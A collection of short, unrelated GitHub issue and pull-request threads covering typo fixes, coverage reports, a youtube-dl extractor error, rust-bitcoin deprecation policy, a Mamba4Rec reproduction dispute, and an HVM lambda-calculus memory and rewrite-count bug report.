asm script ABI was updated to support istio 1.7 in version 0.1.8

+1

+1


[FIX] Fix some typos in apps/, cmake/, docker/, docs/, gallery/, tests/, vta/, etc.

Fix some typos in apps/, cmake/, docker/, docs/, gallery/, tests/, vta/, etc.
Thanks for contributing to TVM!   Please refer to guideline https://tvm.apache.org/docs/contribute/ for useful information and tips. After the pull request is submitted, please request code reviews from Reviewers by @ them in the pull request thread.

This PR has been merged into PR https://github.com/apache/tvm/pull/11503 .


Cache using memcached

Hi,
I found that there's already in memory cached implementation, but what exactly I need is memcached implementation, so I decided to try implement memcached on prerender.
It's already running for a couple month, you can try to browse here :
https://id.ckerja.com/?_escaped_fragment_=
If the cache is not available or already expired, it will render and save to memcached, after that, try to hit refresh and it will load directly from memcached.
I don't know if there any corner case or bug at my implementation because I haven't seen it.
I'd be willing to submit PR if you guys allow me to.

Cool! We don't want to add any more caching functionality directly to our Prerender repository but feel free to post it on your own github. Prerender plugins can be loaded and used from any github repo. Post back here with a link to it when you upload it somewhere!


Add cmcnu.txt

@cquare First stage of verification passed, official domain is cmc.or.kr as far as I verified. This is just an informational note. Pull request is still in the review. I appreciate your patience while waiting for the final decision. Proof of domain ownership: https://donors.cmc.or.kr/etc/team.aspx

@cquare Thank you for your patience while waiting for a review and processing your request. Pull request merged.


Prepare for release

API change check for Azure.Core
API changes are not detected in this pull request for Azure.Core

API change check for Azure.Core.Experimental
API changes are not detected in this pull request for Azure.Core.Experimental


docs: elaborate the prerequisites

Hey, I just made a Pull Request!
This pull request includes a small but important update to the techdocs configuration documentation. The change provides a note in the configuration.md file, informing users that if the omitTechdocsCorePlugin is set to false, they need to install the mkdocs-techdocs-core package to their environment.

:heavy_check_mark: Checklist

[ ] A changeset describing the change and affected packages. (more info)
[ ] Added or updated documentation
[ ] Tests for new functionality and regression tests for bug fixes
[ ] Screenshots attached (for UI changes)
[ ] All your commits have a Signed-off-by line in the message. (more info)

Going to write a more detailed guide on how to write techdocs locally. Closing this one


fix: poem-openapi: support u128 & i128

Add u128 to poem-openapi external types impl_type_for_unsigneds usage
Add i128 to poem-openapi external types impl_type_for_integers usage

I was a little preemptive in opening this PR, closing until it's actually ready. My bad.


Suppress optuna logging; report number of pruned trials

Codecov Report

Merging #160 (b9e9d0f) into main (faf9920) will increase coverage by 0.06%.
The diff coverage is 80.00%.

@@            Coverage Diff             @@
##             main     #160      +/-   ##
==========================================
+ Coverage   67.85%   67.92%   +0.06%
==========================================
  Files          34       34
  Lines        1739     1749      +10
==========================================
+ Hits         1180     1188       +8
- Misses        559      561       +2

Impacted Files
Coverage Δ

src/gnn_tracking/postprocessing/clusterscanner.py
80.00% <71.42%> (-0.42%)
:arrow_down:

src/gnn_tracking/postprocessing/dbscanscanner.py
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Use compose for borders style

Fixes #174

Codecov Report

Merging #249 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master   #249   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           5      5
  Lines         184    183    -1
=====================================
- Hits          184    183    -1

Impacted Files
Coverage Δ

src/styles.js
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 764800a...0d4dc67. Read the comment docs.


RaiPlay

Checklist

[ ] I'm reporting a broken site support issue
[x] I've verified that I'm running youtube-dl version 2<IP_ADDRESS>
[x] I've checked that all provided URLs are alive and playable in a browser
[x] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[x] I've searched the bugtracker for similar bug reports including closed ones
[x] I've read bugs section in FAQ

Verbose log

j:\Install>youtube-dl --verbose --ffmpeg-location "c:\Programmi_altri\ffmpeg" -F "https://www.raiplay.it/video/2020/07/SuperQuark-2566c553-8345-4c52-8ad3-91c2979c1187.html"
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: ['--verbose', '--ffmpeg-location', 'c:\\Programmi_altri\\ffmpeg', '-F', 'https://www.raiplay.it/video/2020/07/SuperQuark-2566c553-8345-4c52-8ad3-91c2979c1187.html']
[debug] Encodings: locale cp1252, fs mbcs, out cp850, pref cp1252
[debug] youtube-dl version 2<IP_ADDRESS>
[debug] Python version 3.4.4 (CPython) - Windows-10-10.0.18362
[debug] exe versions: none
[debug] Proxy map: {}
[RaiPlay] 2566c553-8345-4c52-8ad3-91c2979c1187: Downloading video JSON
ERROR: 2566c553-8345-4c52-8ad3-91c2979c1187: Failed to parse JSON  (caused by ValueError('Expecting value: line 1 column 1 (char 0)',)); please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 899, in _parse_json
  File "C:\Python\Python34\lib\json\__init__.py", line 318, in loads
  File "C:\Python\Python34\lib\json\decoder.py", line 343, in decode
  File "C:\Python\Python34\lib\json\decoder.py", line 361, in raw_decode
ValueError: Expecting value: line 1 column 1 (char 0)
Traceback (most recent call last):
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 899, in _parse_json
  File "C:\Python\Python34\lib\json\__init__.py", line 318, in loads
  File "C:\Python\Python34\lib\json\decoder.py", line 343, in decode
  File "C:\Python\Python34\lib\json\decoder.py", line 361, in raw_decode
ValueError: Expecting value: line 1 column 1 (char 0)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\YoutubeDL.py", line 797, in extract_info
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 530, in extract
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\rai.py", line 174, in _real_extract
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 892, in _download_json
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 876, in _download_json_handle
  File "C:\Users\dst\AppData\Roaming\Build archive\youtube-dl\ytdl-org\tmpspbsbtmq\build\youtube_dl\extractor\common.py", line 903, in _parse_json
youtube_dl.utils.ExtractorError: 2566c553-8345-4c52-8ad3-91c2979c1187: Failed to parse JSON  (caused by ValueError('Expecting value: line 1 column 1 (char 0)',)); please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.

Description

Simply, it is not possible to get format infos about this file on RaiPlay. I need it because I want to download the best available format.

will be fixed in the next version.


Typo in the storyboard docs for input

A small thing but the code is "<uui-input><uui-input/>" instead of "<uui-input></uui-input>"
https://uui.umbraco.com/?path=/docs/uui-input--aaa-overview

I'm not sure i understand the issue. Can you elaborate?

I'm not sure i understand the issue. Can you elaborate?

I guess it removed what I put in quotes.  should be

Thanks! This has now been fixed.


Update README.md

Describe the bug
Update the README for a better documentation of the project

Inventory Management System API

The README is a work in progress, it is open for updates. Feel free to submit a Pull Request, or I will find time to update in chunks.
Table of Contents

Introduction
Features
Prerequisites
Setup Guide
Project Structure
Endpoints Information
Authentication
Database
Contributing Guidelines
License

Introduction
Welcome to the Inventory Management System API! This project is an Express server built with TypeScript, serving as the backend for an inventory management system. It allows users to log in or sign up, view their inventory, update items, and customize the structure of their inventory.
Features

User authentication (login and signup)
View and manage inventory items
Dynamic structure modification for inventory customization

Prerequisites
Before you begin, ensure you have the following installed:

Node.js
npm (Node Package Manager)
TypeScript
Firebase account with Firestore enabled

Setup Guide

Clone the Repository:
git clone <repository_url>
cd <repository_name>

Install Dependencies:
npm install

Build TypeScript:
npm run build

Set Environment Variables:

Create a .env file in the root directory.

Add your Firebase credentials and other necessary environment variables.
FIREBASE_API_KEY=your_api_key
FIREBASE_AUTH_DOMAIN=your_auth_domain
FIREBASE_PROJECT_ID=your_project_id

Start the Server:
npm start

Project Structure
The project follows a modular structure to enhance organization and scalability. Here is a brief overview:
plaintext
src/
|-- controllers/
|-- middleware/
|-- models/
|-- routes/
|-- index.ts

controllers: Contains the business logic for each route.
middleware: Middleware functions used in the Express app.
models: Defines data models for Firestore.
routes: Handles the routing for different API endpoints.
index.ts: Entry point of the application.
Endpoints Information

Endpoint
Description
Method

/api/login
User login
POST

/api/signup
User signup
POST

/api/inventory
Get user's inventory
GET

/api/update-item
Update an inventory item
PUT

/api/modify-structure
Modify inventory structure
POST

Detailed API Documentation (Update with actual documentation)
Authentication
The API uses token-based authentication. Upon successful login, a token is provided and must be included in subsequent requests in the Authorization header.
Database
The server connects to Firebase Firestore for data storage. Ensure your Firestore rules are appropriately configured to restrict access based on your requirements.
Contributing Guidelines
Contributions are welcome! Please follow the contribution guidelines.
License
This project is licensed under the MIT License.


On deprecation of stuff that is moving to primitives

PR #3288 has two patches that are on the same topic, opening this issue to discuss them

https://github.com/rust-bitcoin/rust-bitcoin/pull/3288/commits/126131a4f0925bad1b86c481a84f2551aebe539c
https://github.com/rust-bitcoin/rust-bitcoin/pull/3288/commits/c98b9e6fc70472e76cc1d4e6dccab1e42fa866e6

Remove all_zeros (and null, and is_null)
Recently we added associated consts and deprecated all_zeros with the intention of being gentle on upgraders. We cannot move the deprecated functions to primitives so we have multiple options.

Introduce an extension trait to hold the deprecated functions
Just delete the functions

(Note that doing (1) results in a trait that only holds the deprecated functions and nothing else.)
If we do (1) the upgrade workflow potentially becomes:

compiler warns that Txid::all_zeros no longer exists
dev guesses (or reads) that TxidExt is needed
imports the extension trait everywhere
compiler warns that all_zeros is deprecated
dev changes every call site to use Txid::COINBASE_PREVOUT
dev gets annoyed because "could have just done that in the first place"

Are we causing more damage than good?

My suggestion: backport the constants and deprecate the functions in the previous version. This is still more annoying than "keep deprecated stuff around for a while" as we wanted but solves the exact problem you're pointing out.

Agreed that where possible and reasonably convenient for users (i.e., where there's a drop-in replacement) we should backport the replacements and deprecations.
Having said that @tcharding, the workflow you describe is not nearly as annoying as you make it out to be. It is more like

compiler errors that Txid::all_zeros no longer exists but that it exists on a TxidExt trait
user imports this and now their code continues to work, but with a bunch of deprecation warnings
user fixes those warnings at his leisure, across multiple commits/PRs/whatever,

So this is one extra step vs a normal deprecation cycle.
If we did this without the deprecations, the process is

compiler errors that Txid::all_zeros no longer exists. No help. Guess you need to go read the release notes or something.
This times 1000, and every one needs to be dealt with in a single commit before you can move on with the upgrade.

Ok, this is zero extra steps vs a normal "delete functions without deprecation" process. But "zero extra steps" doesn't compensate for how antisocial it is to just wreck the API.

@apoelstra good point but should we bother if we can backport things?

I vote yes because I would like to extend our deprecation timelines for as long as we can tolerate.
So I view the backport as "starting the deprecation cycle early" rather than waiting for the next release to start it, but I don't want to end the deprecation cycle any earlier.

Thanks lads, I realised on waking this morning the "fix in the next commit" thing, that is enough to keep it.

backport the constants and deprecate the functions in the previous version.

This is an interesting idea, trickle backports and deprecation back into v0.32 as we go, I'm not totally convinced and also this is a whole new approach so if we are going to do that I think it needs thinking through fully. Its kind of unusual to get lint fails "randomly" when cargo pulls a new patch version isn't it? Anyways we should have a new separate issue if we want to discuss it fully.
Closing this as resolved, we keep the backports.

Its kind of unusual to get lint fails "randomly" when cargo pulls a new patch version isn't it?

No, I think this is reasonable and expected.
But agreed, we should have a dedicated issue to discuss it.

I vote yes because I would like to extend our deprecation timelines for as long as we can tolerate.

Fine, but I don't want them in stable crates so they'll need to live in bitcoin until removed.

Its kind of unusual to get lint fails "randomly" when cargo pulls a new patch version isn't it?

No, I've seen crates doing it and it's good to do whenever we can do it as cleanly as we can here.

But agreed, we should have a dedicated issue to discuss it.

Do we? It's seems pretty obviously a good idea to me and you seem to agree, downstream consumers can slap #![allow(deprecated)] (or -A deprecated) on their stuff but really, everyone should probably pin their dependencies anyway, so I don't expect push back especially because they have to deal with these from other crates, including std. Of course open an issue if you want, I just don't think there's much worth discussing.

Fine, but I don't want them in stable crates so they'll need to live in bitcoin until removed.

This is fine, and even more reason to extend our deprecation timespan backward.

Do we? It's seems pretty obviously a good idea to me and you seem to agree,

Yeah, ok, let's just do it. We can have a discussion if somebody complains (but this does seem like a particularly weird hill for such a person to die on, since this is reasonable behavior and even std has done it).


Faraday Middleware SigV4 shouldn't request compressed content

The goal of this plugin is to just add SigV4 support to faraday middleware.
However this plugin also adds code that asks for compressed content, but doesn't add support for decompressing content.
Code:
https://github.com/winebarrel/faraday_middleware-aws-signers-v4/blob/588b8c1086a72e2762ea3834bfff3d9f71b66024/lib/faraday_middleware/request/aws_signers_v4.rb#L69-L71
We should remove this code and leave the flexibility to the users to configure compression as they need.

Related issue: https://github.com/elastic/elasticsearch-ruby/issues/457

the net/http library modifies the header regardless of this library.
see https://github.com/ruby/ruby/blob/c08f7b80889b531865e74bc5f573df8fa27f2088/test/net/http/test_http_request.rb#L20
If you want to remove accept: gzip, please use an adapter other than net/http.

I'm sorry.
With the combination of net/httpand faraday_middleware-aws-signers-v4, the automatic decompression function of net/http may be disabled.
Please try v.0.1.9.
Thanks for your issue.


chore: add automatic sorting for tailwind classes

This PR adds prettier-plugin-tailwindcss, which is the recommended solution to sort tailwind classes.
https://coveord.atlassian.net/browse/KIT-3439

nice ! need to lint before merging tho. try npm run lint:fix

I don't, do you have esbenp.prettier-vscode as your default formatter?


4k-youtube-to-mp3: Fix checksum

Thank you for the contribution. It was merged directly as 7658f60c6957265cb3e2b2a7d9066fcd4d1a548b to keep commit history cleaner. Your contribution is still credited to you.


outdated screenshot

The screenshot shown in step 9 looks different to what we can see in the portal. The button in the middle about "setup and manage policies" is not visible to us. Is the documentation outdated or do we have an issue with our azure portal access?

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 985eab9b-60f7-480a-c649-1fd7c6105646
Version Independent ID: 4d5bbc09-fa5a-c67e-b4b8-75a5229506c0
Content: Customer Lockbox for Microsoft Azure
Content Source: articles/security/fundamentals/customer-lockbox-overview.md
Service: information-protection
Sub-service: aiplabels
GitHub Login: @msmbaldwin
Microsoft Alias: mbaldwin

@sebhe
Thanks for your feedback! We will investigate and update as appropriate.

@sebhe
I've delegated this to @msmbaldwin, a content author, to review and share their valuable insights.

@RamanathanChinnappan-MSFT any news on this topic?

@sebhe - Thanks for your dedication to our documentation. Unfortunately, at this time we have been unable to review your issue in a timely manner and we sincerely apologize for the delayed response. We are closing this issue for now, but if you feel that it's still a concern, please respond and let us know within two weeks. #please-close
UUF-Stale-Not Planned

from my point of view, the screenshot is still different. We do not see the button "setup and manage policies" in our tenant

@sebhe - The author was able to fix the image and has published the update. Thank you, again, for your dedication to our documentation!


Converted files to rst for easier navigation in the github repo.

Once it's merged, I'll add some more links in the README.

Hmm, this probably has an impact on package maintainers, e.g. of Debian packages etc.

Could you develop on this? What should I look out for? I'm not familiar with making debían packages.

Sorry, I wasn't very clear. I was considering that some packagers special case the top-level doc files (e.g. Debian usually installs license and readme files into a docs directory). They would thus have to adapt their packaging setup for the next version. I'm not sure our gain here is worth making them do that.

Would this work?

Sorry, Gabriel, I hope you don't mind if I reject this change. While it's an improvement for us, I just don't want to burden packagers with fixing up their setup for such a small change.

Sure, I understand. I trust your judgment on this.


[FIX] Use logo url as is to allow for web urls.

logo_url can sometimes be a fully qualified URL starting in Sphinx 4.
Adding the _static prefix breaks logos that are URLs.

@choldgraf the HTML builder handles this in Sphinx 4+
master: https://github.com/sphinx-doc/sphinx/blob/master/sphinx/builders/html/init.py#L1254-L1255
v4.0.0: https://github.com/sphinx-doc/sphinx/blob/v4.0.0/sphinx/builders/html/init.py#L1191-L1195

x-ref https://github.com/pradyunsg/furo/pull/253 where I'd discovered this as well. :)

Thanks for the quick reviews @choldgraf  and @pradyunsg,  when do you guys think this will be released in a new version?

There's a release candidate out now and this will make it into the next RC i think

@fenil/@choldgraf The master version of sphinx-book-theme doesn't use the sidebar-logo.htm  anymore, but instead the navbar-logo.html from the pydata theme.
That version does check that the if the string is an URL, but if not it prepends _static/ which causes me to see it prepended twice. I could maybe specify

a workaround is to specify the logo using the PyData logo config. I guess that prevents sphinx from also prepending the _static:
html_theme_options: Dict[str, Any] = {
      ...,
    "logo": {
      "image_light": "logo.svg",
      "image_dark": "logo.svg",
   },

@melund it sounds like maybe this same fix needs to be made in navbar-logo.html as well?


Add option to reinstate old path:is-* behavior

This introduces a &follow-symlink option to the two existing path:is-
commands. It is sometimes useful to know if a given path resolves to a
particular filesystem object type even when the final component of the
path is a symbolic link.
Related #1236

Obsolete "WTF" comment removed, rebased on master, and I made some wording tweaks. PTAL.

Another force push to resolve the conflict with other changes by @xiaq to the 0.16.0-release-notes.md file.


Add languages to format

Some languages are going to be quite complex to format, e.g., ones with operator overloading or where method order is important.
The fact that I require comments and newlines to be maintained (#4, #9) means that most parsers and Pretty instances that are available from Hackage probably won't do. This will mean a lot of work will have to be done manually. So, to begin with I'm going to start with very simple languages - such as JSON, YAML, CSS and HTML!

Broken down into #11, #12, #13 and #14.


Add responsive leader-half and trailer-half

Add responsive {screen}-{leader|trailer}-half classes
Example:
<!-- ... -->
<div class="block tablet-trailer-half">
     <!-- Add little space below when this block collapses in responsive tablet-block-group-X-up -->
</div>
<!-- ... -->

Thanks @nullrocks , not sure how we missed this one for so long. Addressed in #672


Modernize RTD config

The latest failure seems relevant... but at the same time, it seems the file is readable (cat cmd worked) so maybe this is just a hiccup from the RTD run?

Argh, I tried a few things but they didn't work, so reverted back to @consideRatio's original version.
I kinda feel like we are triggering a bug in readthedocs. The command that is failing is:
python env create --quiet --name 999 --file docs/environment.yml

I think that they want to be doing conda env create instead...I have no idea why python is being used.

@choldgraf yeah, I'd say that "python" should be a "conda" instead for the command to make sense.

ah, found it: https://stackoverflow.com/questions/69774313/why-does-rtd-run-python-env-create-instead-of-conda-env-create-when-building

@damianavila that Sphinx error is my fault, because we should be making releases of that theme instead of pinning to master ;-) I'll fix tomorrow


Improve padding between iframe bottom and the text that follows

Something's going on in the docs here where the there's very little space between the replite iframe and this line of text.
Originally posted by @steppi in https://github.com/jupyterlite/jupyterlite-sphinx/pull/228#discussion_r1894305429

I'll take it!


Fix JSDoc comments for better publishing.

Summary of changes.

Switch ALL_SCOPES from /** to /!* to avoid polluting global types.'
Switch messages from @class to @typedef, as they are abstract types, not user-accessible classes.
Properly document the Builder class and is client factory function method

/cc @lukesneeringer

Codecov Report

Merging #1594 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master    #1594   +/-   ##
=========================================
  Coverage     87.02%   87.02%
  Complexity     4231     4231
=========================================
  Files           408      408
  Lines         16992    16992
  Branches       1850     1850
=========================================
  Hits          14787    14787
  Misses         1709     1709
  Partials        496      496

Impacted Files
Coverage Δ
Complexity Δ

...codegen/transformer/nodejs/NodeJSSurfaceNamer.java
90.44% <ø> (ø)
74 <0> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 86837f6...6078c2b. Read the comment docs.


Add support for Variational Score Distillation (VDS) proposed by ProlificDreamer？

Recently ProlificDreamer proposed to use Variational Score Distillation(VDS) to replace SDS function in dreamfusion, and it generates really great results. So, any plan to support it? It seems this could be applied to any text-to-3d or Image-to-3D methods to improve their results.
Thanks a lot!!!

Working on it, stay tuned

Please try our experimental implementation following the instruction!

Thanks very very much!!


Thumbnail src is error

Describe the Bug
div class="featured-image-container" style="background-image: url(' http://<IP_ADDRESS>:6875/ http://<IP_ADDRESS>:6875/uploads/images/cover_bookshelf/2023-09/thumbs-440-250/snipaste-2023-09-01-09-41-44.jpg')">
img refs="image-picker@image" src=" http://<IP_ADDRESS>:6875/ http://<IP_ADDRESS>:6875/uploads/images/cover_bookshelf/2023-08/thumbs-440-250/snipaste-2023-08-28-19-04-24.jpg" class="cover " alt="图片预览"
has two values
Steps to Reproduce
css backgroud-image
img src
Expected Behaviour
thumbnail doesn't show
Screenshots or Additional Context
No response
Browser Details
No response
Exact BookStack Version
v23.06.2
PHP Version
No response
Hosting Environment
Ubuntu 20.04

Hi @youuncler,
What is the exact value of the APP_URL option within your .env file?

It is normal for me to use solidnerd/docker bookstack. The linuxserver/docker bookstack is incorrect.


Visual glitch in project built with gulp

I'm building a project using gulp and babelify with the react and es-2015 preset. There is a visual glitch that occurs when switching months. Switching months used to trigger a JS error which was fixed in #529 but now the visual glitch happens silently. I assume that they are related and can imagine that the ref in #529 being null could cause issues when showing/hiding elements. I've attached a screenshot to illustrate the issue. You can see that one month is overlaid on top of the other.

Finally got to the bottom if this, turns out i had a dependency on a pretty old version of react, updating to the latest resolved the issue, Thanks!


The results in the paper diverge significantly from the results reproduced by this repo.

Hi authors.
I have downloaded the package and tested it with ml-1m dataset. The full logs are provided in the attachments.
The results of GRU4Rec seem similar with that in the paper, but the results of Mamba4Rec are poor.
Maybe there are something not updated in the current version?

reproduced:  OrderedDict([('hit@10', 0.0096), ('ndcg@10', 0.0041), ('mrr@10', 0.0024)])
reported in the paper: hit@10: 0.3121, ndcg@10: 0.1822, mrr@10: 0.1425

Mamba4Rec-ml-1m-Mar-09-2024_20-09-16-ae14e3.log
GRU4Rec-ml-1m-Mar-09-2024_20-46-13-876bfd.log

Hello,
The current version works well on my device. You can also follow the code and implement Mamba4Rec based on your framework.
Your settings seem the same. But the accuracy of each epoch is close to 0. Maybe you need to check your environment such as RecBole and Mamba-ssm. My log of ML-1M is attached.
If you find the issue or bug, please update and I will fix it.
Thank you.
Mamba4Rec-ml-1m.log

Thank you. I will update the document and environment later.

Attached is the environment.txt file. You can convert it into a .yaml format. I have tried to reinstall the environment, and the training process and results are still correct on my device. Please feel free to reach out via email for further discussion.
Thank you for reporting the issue!
environment.txt

I have uploaded my environment.yaml to the repository.
My approach is to first create a new environment named mamba4rec with torch, torchaudio, and torchvision installed. Then I run conda env update -f environment.yaml --prune to update the environment with the remaining dependencies specified in the environment.yaml file.

Thank you very much for your swift reply.
These days, we also invited peers from other research groups with different hardware platform. Unfortunately, the results diverge significantly from the reported results in the paper. Therefore, I reopen this issue and slightly query the specific environments (This issue is non-trivial since the results should not change so significantly despite version difference of packages). Could you please kindly share the environment config file for reproduction by the community?
Big thanks!

Hi I am also struggling to reproduce the result, what is your results?
Here is my training log:
Mamba4Rec-ml-1m-Mar-13-2024_14-14-01-cb3b09.log

Here is my training log:
Mamba4Rec-ml-1m-Mar-13-2024_14-14-01-cb3b09.log

Thank you for your training log. I am looking into it, and it could possibly be due to differences in environment and versions. However, your results roughly match the performance of Mamba4Rec, at least the validation and test metrics are relatively high, compared to SASRec and BERT4Rec. However, each epoch is still different from the results on my device.
On the other hand, HowardZJU might have issues with environment configuration, and it's possible that the Mamba block failed to train successfully, resulting in NDCG scores close to 0 for each epoch.

Seems like the results can slightly fluctuate even when I fix the global seed. My reproducing on ml-1m got fluctuation around 0.0002 after the first epoch for different runs with the same seed. I guess this might be related to the hardware-level implementation of the mamba block. Hence the slight flucuation is ok?

My reproducing on ml-1m got fluctuation around 0.0002 after the first epoch for different runs with the same seed.

Yes, the fluctuations also persist on my device with the fixed hyperparameters and random seeds. Across different devices and environments, the fluctuations may be higher.
The fluctuations can sometimes lead to higher validation performance, but the corresponding overfitting can also cause test performance to decrease.

I have re-run Mamba4Rec on ML-1M from scratch, starting by cloning the repository and setting up a new conda environment. The results have been reproduced with slight fluctuations. Hopefully, this new log file attached is helpful to you.
Mamba4Rec-ml-1m-Mar-14-2024_09-08-06-4dc4b9.log

Thank you for replying! It seems like all baselines also perform slightly worse on my device lol


Difficulties Switching to Scroll Network on MetaMask

Users are encountering difficulties when attempting to switch from the Ethereum network to the Scroll network on MetaMask. This issue arises despite correct network configuration and sufficient funds in the wallet. The problem appears to be impeding seamless navigation between networks, potentially affecting user experience and functionality.
Steps to Reproduce:

Open MetaMask extension.
Ensure correct network settings for Scroll network.
Attempt to switch from Ethereum network to Scroll network.
Observe failure or delay in network switching process.

Expected Behavior:
Users should be able to switch between networks smoothly without encountering delays or errors, ensuring seamless navigation and access to desired functionalities.
Impact:

Inconvenience to users, hindering efficient utilization of MetaMask features.
Potential disruption to workflow, particularly for those requiring access to specific networks for transactions or interactions.

Proposed Solution:

Investigate underlying causes of network switching difficulties.
Implement fixes or optimizations to enhance MetaMask's capability to seamlessly transition between networks.
Provide clear guidance to users on troubleshooting steps or workarounds until a permanent solution is implemented.

This issue is crucial for maintaining MetaMask's usability and user satisfaction, warranting prompt attention and resolution.

Closing for now. Please submit what the "failure" is or consider opening an issue on MetaMask.


'CityChooser' object has no attribute 'required_fields'

Hi
I'm new to this library and I am trying to use it to choose from a large list using the search
following the examples in the readme for the search I get the error
'CityChooser' object has no attribute 'required_fields'
please help
many thanks in advance
cheers

Hi @seun-otosho,
What version of wagtail are you using? Is the code just a straight copy of the code from the README?

also if you could attach a stack track that might help too

I'm using the latest wagtail
also I will re-run and attach the screenshot of the stack trace

Closing since this issues getting stale but happy to reopen if someone can replicate


Encryption: fix asyncness - remove blocking calls

This PR fixes the asyncness of the encryption api and implementation.

Prior to this PR there were some blocking call were happening, this PR made the APIs to be async.
some minor cleanup, fixing code style, class access-level, etc

TODO: I haven't decided on the async method names yet, whether we should have async in them or not. probably not. will fix that in another PR.
TODO: I need to also fix asyncness in EncryptionKeyWrapProvider, will be done in another PR.

/azp run java - cosmos - tests

/azp run java - cosmos - tests


[FEATURE] Add a configuration to enable a map id filter mechanism. #662

[BUG]/[FEATURE] title
What changes were proposed in this pull request?
Why are the changes needed?

What are the items that need reviewer attention?
Related issues.
closes #662
Related pull requests.
How was this patch tested?
/cc @related-reviewer
/assign @main-reviewer

Filter off:
Filter on:

Should not new RoaringBitMap if not enabled.


Multi-platform ITs with TestContainers

Add TestContainers to allow Integration Tests without requiring manual creation of docker containers

Time tests (Build + start + Tests on class APIDefinitionIT):

1m18s without TestContainers (H2)
2m17s with TestContainers and PostgreSQL (Full app and DB restart for each test as H2 and no data persistence for the DB)
12m16s with TestContainers and MySQL (Full app and DB restart for each test as H2 and no data persistence for the DB)


Add ability to get AD objects

The ability to retrieve a list of objects such as all users or groups or computers would be useful.  In addition, adding a filter for the only grabbing a select portion of the LDAP directory.
Perhaps something like this.
session.get_users()
session.get_computers()

user_ou_filter = "OU=HR, OU=Users"
session.get_users(user_ou_filter)

computer_ou_filter = "OU=Developers, OU=Workstations"
session.get_computers(computer_ou_filter)

The optional filter could be added to the Base DN, if required, there could be a bool flag added to specify that this is a full search path if needed.

@zorn96 Any thoughts on this?  I'm not too particular of the interface looking the way I have above, just the functionality of something similar to the discovery functionality that you have in terms of CA certs, domain time, etc.
I have several use cases, where I want to query AD to tell me all the things, as I'm using it as a source of truth, so I need to discover the objects in terms of tell me all the hosts registered in the domain or all the users that exist in the domain.
Appreciate your effort into what you've already created, I've gotten some good use out of it, thanks.


Worker: Change remote scheduling policy

To test if that has some kind of performance impact.
DO NOT MERGE PLZ
This pull request includes:

[ ] adequate testing for the new functionality or fixed issue
[ ] adequate documentation informing people about the change such as

[ ] submit a PR for the guides repository if this PR changed any behavior described there: https://www.osbuild.org/guides/

So I did measurements and unfortunately changing the policy does not affect the overall execution time, it looks like it makes things worse even. I'm closing the PR.


DUO requires enabling "OtherOS" when using aws-okta

Hoping this meets the requirement of a straightforward bugfix.  Default user-agent string for Golang is simply "Golang-http-client/1.1" which is fine for many purposes, but Duo expect to see a an OS and Arch in parenthesis following it.  I wrote a library which solves this problem and makes the PR Into other apps a trivial matter.  I've only made the change to the duo.go code as this was the only place our corporate duo instance was blocking use of aws-okta.
Duo themselves have confirmed that the OS match for Mac is correct, I've asked them to review this PR and the library as well.
PR to follow.

As mentioned in https://github.com/segmentio/aws-okta/pull/283, this feels more like a feature request to me. Sorry!


HVM eats all my RAM and then segfaults

Here's a lambda term I have used in the past as a benchmark for my own lambda calculus interpreter.  My interpreter runs it in 3.5s, GHC runs it in 2.5s, and neither goes past the minimum heap size of a few megabytes.
When I run it in HVM, it gradually allocates more and more memory, finishing up with around 8.5 GB and then segfaulting.
Steps to reproduce:
$ cat > bench.hvm <<EOF
// Computes 0 by subtracting a number from itself
Main = ((λbig λsub (sub big big))
  // the big number, 43'046'721
  ((λs λz (s(s(s(s z))))) (λs λz (s(s z))) (λs λz (s(s(s z)))))
  // the subtraction algorithm
  (λn λm λs λz
    (n (λy λk (k (s (y (λa λb a))) y))
       (λk (k z (λ_ z)))
       (m (λk λa λb (b k)) (λa λb a)))))
EOF
$ cargo run -- c bench.hvm
    Finished dev [unoptimized + debuginfo] target(s) in 0.01s
     Running `target/debug/hvm c bench.hvm`
Compiled to 'bench.c'.
$ gcc -o test -pthread -O2 bench.c
$ ./test
Segmentation fault (core dumped)

I ran some tests measuring the number of rewrites HVM does to compute (sub big big) using this script and got this:

plot rewrites × big

table

bigrewrites
013
20065347
400251996
600550922
800989813
10001671988
12002174371
14003110989
16003923598
18005163811
20006645709
22006904380
24008639676
260010257724
280012379622
300014579835
320015623847
340018160465
360020578236
380023500411
400026499302
420024189269
440027509205
460031071380
480034443989

It seems the rewrites grow quadratically with respect to big, not linearly. Perhaps this is related to #60? I'll run the tests again on the quadratic_fix branch and see if anything changes.

